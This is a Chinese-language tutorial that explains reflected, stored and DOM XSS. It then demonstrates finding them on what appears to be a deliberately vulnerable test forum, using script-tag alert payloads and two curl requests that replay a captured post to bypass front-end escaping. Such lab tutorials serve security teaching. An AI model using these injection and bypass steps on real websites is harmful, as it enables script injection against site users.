掃碼領(lǐng)資料
獲黑客教程
免費(fèi)&進(jìn)群
一、背景
在本篇文章當(dāng)中會一生態(tài)測試系統(tǒng)為例,參考文檔:利用PHP擴(kuò)展Taint找出網(wǎng)站的潛在安全漏洞實(shí)踐(#)
二、漏洞簡介
在實(shí)踐漏洞之前,先簡單介紹一下XSS漏洞,不過XSS的相關(guān)概念介紹并不是本文的重點(diǎn),因此不會過多細(xì)講;
如果原理都懂,可以直接跳過往下翻至第三節(jié)
XSS的漏洞類型主要分為三類:反射型、存儲型、DOM型
2.1 漏洞成因
XSS的漏洞主要成因是后端接收參數(shù)時未經(jīng)過濾,導(dǎo)致參數(shù)改變了HTML的結(jié)構(gòu),如下圖所示
在圖中可以看到攻擊者的參數(shù)被原樣放到了HTML代碼當(dāng)中,導(dǎo)致原本的結(jié)構(gòu)被改變,當(dāng)這份代碼被瀏覽器執(zhí)行之后,將執(zhí)行alert事件。
2.2 反射型
反射型XSS的定義是、如果URL地址當(dāng)中的惡意參數(shù)會直接被輸出到頁面中,導(dǎo)致攻擊代碼被觸發(fā),便稱之為反射型XSS,如下圖所示
在圖中可以看到,此處原本是輸入一個名字,單實(shí)際傳遞了一個標(biāo)簽,此標(biāo)簽也被原樣放到了HTML結(jié)構(gòu)當(dāng)中,結(jié)果標(biāo)簽代碼中的代碼被觸發(fā)
2.3 存儲型
存儲型XSS,顧名思義便是惡意參數(shù)被存儲起來了,通常存儲在后端服務(wù)器當(dāng)中,所以存儲型XSS在URL地址當(dāng)中不會包含惡意參數(shù)
對于受害者來說,很難發(fā)現(xiàn)已經(jīng)被攻擊了,如下圖存儲型XSS被觸發(fā)
在圖中并沒有在URL地址當(dāng)中看到代碼
但是攻擊代碼依然被觸發(fā),說明攻擊代碼來自于服務(wù)器,而這個攻擊代碼確實(shí)是由攻擊者傳遞到服務(wù)器當(dāng)中去的。
一般情況下,當(dāng)攻擊者將攻擊代碼通過表單傳遞到服務(wù)器當(dāng)中去,會得到一個新頁面的地址,這個地址中URL并沒有明顯異常,比如如下URL地址
http://permeate.songboy.net/article/1
但當(dāng)存在存儲型XSS時,受害者打開此URL,攻擊代碼將會被觸發(fā),這種情況下便稱之為存儲型XSS漏洞。
2.4 DOM型
DOM型XSS較為特殊,前面反射型XSS和存儲型XSS都是以傳播方式來區(qū)分的,而DOM型XSS和傳參方式無關(guān)
而是當(dāng)開發(fā)者做了一些安全防護(hù)之后,出現(xiàn)安全問題的一種現(xiàn)象,如下圖所示
在圖片中,可以看到參數(shù)name已經(jīng)使用函數(shù)轉(zhuǎn)義了,按理說此時將參數(shù)傳遞到前端頁面是不會產(chǎn)生XSS漏洞的;
但當(dāng)代碼將參數(shù)進(jìn)行DOM節(jié)點(diǎn)操作之后,原本被轉(zhuǎn)義的代碼又會被還原,因此還是會被觸發(fā),如下圖所示
在圖中看到XSS代碼已經(jīng)被觸發(fā)網(wǎng)頁中列表的類型有,這種DOM型XSS相對來說更加隱蔽
所以防御XSS漏洞的不能僅僅依靠后端開發(fā)者,前端開發(fā)者也應(yīng)當(dāng)了解XSS漏洞。
三、反射型挖掘
經(jīng)過上面的原理介紹,相信大家對XSS已經(jīng)有一些了解,現(xiàn)在需要進(jìn)行手工XSS漏洞挖掘,在手工挖掘之前需要先逛逛網(wǎng)站有哪些功能點(diǎn)
如下圖是的界面
3.1 思路分析
在知道反射型XSS,是通過URL地址傳播的,那么就需要思考那些地方會讓URL地址的參數(shù)在頁面中顯示;
相信你們都用過一些網(wǎng)站的站內(nèi)搜索,在站內(nèi)搜索的位置往往會將搜索的關(guān)鍵詞展示在頁面當(dāng)中,如下圖所示
而在首頁也看見此網(wǎng)站有搜索功能,因此可以從搜索位置著手,可以在搜索位置輸入一個簡單的,參考如下
<script>alert(123)script>
當(dāng)點(diǎn)擊搜索后,會自動跳轉(zhuǎn)到以下URL當(dāng)中,此時瀏覽器的URL地址已經(jīng)發(fā)生了變化,URL地址如下:
http://permeate.songboy.net/home/search.php?keywords=<script>alert(123)script>
搜索的表單是使用了GET傳參,滿足了測試反射型的第一步要求
3.2 漏洞檢驗
接下來就需要看看有沒有被觸發(fā),結(jié)果很意外,不但沒有被觸發(fā)還被瀏覽器所阻止了,如下圖
這里就需要跟讀者說明一下,谷歌內(nèi)核瀏覽器自帶XSS篩選器,所以對于反射型XSS測試,盡量不使用谷歌瀏覽器,建議使用火狐瀏覽器進(jìn)行測試;
3.3 結(jié)果分析
現(xiàn)在將上面的URL地址復(fù)制下來,并粘貼到火狐瀏覽器當(dāng)中,并按下回車,看到效果如下圖
此時已經(jīng)被觸發(fā),說明找到了一個反射型XSS的漏洞,這種漏洞相對來說非常初級,隨著瀏覽器的XSS篩選器變得更加智能,這種漏洞也越來越少,在下面的內(nèi)容當(dāng)中將會提到存儲型XSS挖掘與繞過。
四、存儲型挖掘
現(xiàn)在來尋找存儲型XSS,存儲型的攻擊代碼是存儲在服務(wù)端,因此需要找出一些會將表單內(nèi)容存儲到服務(wù)端的位置
在之前已經(jīng)對做了一番了解,因此知道擁有發(fā)帖和回帖功能,這些功能正是需要將參數(shù)存儲起來并展示的地方。
4.1 發(fā)現(xiàn)漏洞
在首頁點(diǎn)擊XSS板塊,進(jìn)入到了板塊列表當(dāng)中網(wǎng)頁中列表的類型有,如下圖
在右下角能看到有一個發(fā)帖按鈕,點(diǎn)擊發(fā)帖按鈕后,即可進(jìn)入發(fā)帖界面,如下圖
在滲透測試系統(tǒng)當(dāng)中,如果要發(fā)表帖子,那么就需要有賬號,這里隨便注冊一個賬號,注冊過程就不詳細(xì)講解了
4.2 檢驗漏洞
在注冊賬號完成并登陸之后,再次打開發(fā)帖頁面,并在標(biāo)題處和內(nèi)容處都填寫,參考內(nèi)容如下:
<script>alert(123)script>
在標(biāo)題處和帖子內(nèi)容中分別填寫,填寫好之后,應(yīng)與下圖一致
填寫好內(nèi)容之后,點(diǎn)擊下方的發(fā)表按鈕,即可進(jìn)行發(fā)帖,發(fā)帖成功會彈出一個提示成功,如下圖所示
點(diǎn)擊確定之后,會跳轉(zhuǎn)到發(fā)帖列表,并彈出一個123的提示框,如下圖所示
如果看到這個彈框,說明已經(jīng)被執(zhí)行,點(diǎn)擊確定就可以看到列表的內(nèi)容,如下圖所示
在列表中只顯示標(biāo)題,所以帖子內(nèi)容中的并沒有被執(zhí)行;
4.3 抓包繞過
現(xiàn)在點(diǎn)擊標(biāo)題,進(jìn)入帖子詳情頁面,在詳情頁發(fā)現(xiàn)也只觸發(fā)了一次,而且內(nèi)容當(dāng)中的標(biāo)簽被直接顯示了出來,如下圖
當(dāng)標(biāo)簽被直接顯示出來,這說明參數(shù)被轉(zhuǎn)義了;
轉(zhuǎn)義分為兩種,前端轉(zhuǎn)義和后端轉(zhuǎn)義,如果是后端轉(zhuǎn)義通常會放棄測試,如果是前端轉(zhuǎn)義則可以繞過這個限制;
在這里發(fā)現(xiàn)標(biāo)題沒有被轉(zhuǎn)義,而內(nèi)容被轉(zhuǎn),猜測可能是前端做的轉(zhuǎn)義,因此可以通過瀏覽器的審查工具將數(shù)據(jù)包拷貝下來;
首先重新打開發(fā)帖頁面,然后在網(wǎng)頁隨便一個位置單擊鼠標(biāo)右鍵->選擇審查元素->切換到標(biāo)簽并勾選 log,
打開網(wǎng)絡(luò)并勾選 log的目的是讓發(fā)表帖子之后
能在網(wǎng)絡(luò)請求中找到該記錄,現(xiàn)在可以填寫新的,如下圖
點(diǎn)擊發(fā)表按鈕之后,可以在控制臺中找到剛才的post請求
從請求中可以看出,這個數(shù)據(jù)發(fā)出去就已經(jīng)被轉(zhuǎn)義了,如下圖
4.4 編碼替換
當(dāng)確定這個地方存在前端做了轉(zhuǎn)義處理,如果后端沒有做處理,
就可以繞過它,現(xiàn)在將請求復(fù)制出來,然后改變里面的數(shù)據(jù),如下圖
復(fù)制出來的數(shù)據(jù)如下
curl 'http://permeate.songboy.net/home/_fatie.php?bk=6&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://permeate.songboy.net' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://permeate.songboy.net/home/fatie.php?bk=6' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: __cfduid=defc970ef7081e30aedd761da5762b1891532003579; UM_distinctid=1655a61a23343c-03f0904540a333-34657908-1fa400-1655a61a234323; PHPSESSID=rufhm0741qfv55cpfnc80k1g4l' --data 'csrf_token=3908&bk=6&title=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E&content=%3Cp%3E222%26lt%3Bscript+%26gt%3Balert%28123%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E' --compressed
找到參數(shù)中的title和參數(shù)值,將title的參數(shù)值復(fù)制下來,然后替換的參數(shù)值,替換后的內(nèi)容如下
curl 'http://permeate.songboy.net/home/_fatie.php?bk=6&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://permeate.songboy.net' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://permeate.songboy.net/home/fatie.php?bk=6' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: __cfduid=defc970ef7081e30aedd761da5762b1891532003579; UM_distinctid=1655a61a23343c-03f0904540a333-34657908-1fa400-1655a61a234323; PHPSESSID=rufhm0741qfv55cpfnc80k1g4l' --data 'csrf_token=3908&bk=6&title=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E&content=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E' --compressed
替換完成之后,將此內(nèi)容復(fù)制到終端當(dāng)中(如果用的是操作系統(tǒng),可以下載一個cmder),然后按下回車鍵,結(jié)果如下圖
4.5 結(jié)果分析
在返回結(jié)果當(dāng)中可以看到提示發(fā)帖成功,此時就已經(jīng)成功發(fā)布了一個新帖子,回到帖子列表當(dāng)中看到有三條帖子,在最后面的帖子則是新發(fā)布的,如下圖
打開詳情頁,被彈了兩次提示框,說明標(biāo)題和內(nèi)容當(dāng)中的都被觸發(fā),并且在控制臺當(dāng)中也可以看到變成了DOM節(jié)點(diǎn),而不是文本展現(xiàn)出來,如下圖所示
看到此處說明已經(jīng)成功繞過前端XSS過濾器
今天你會廢了嘛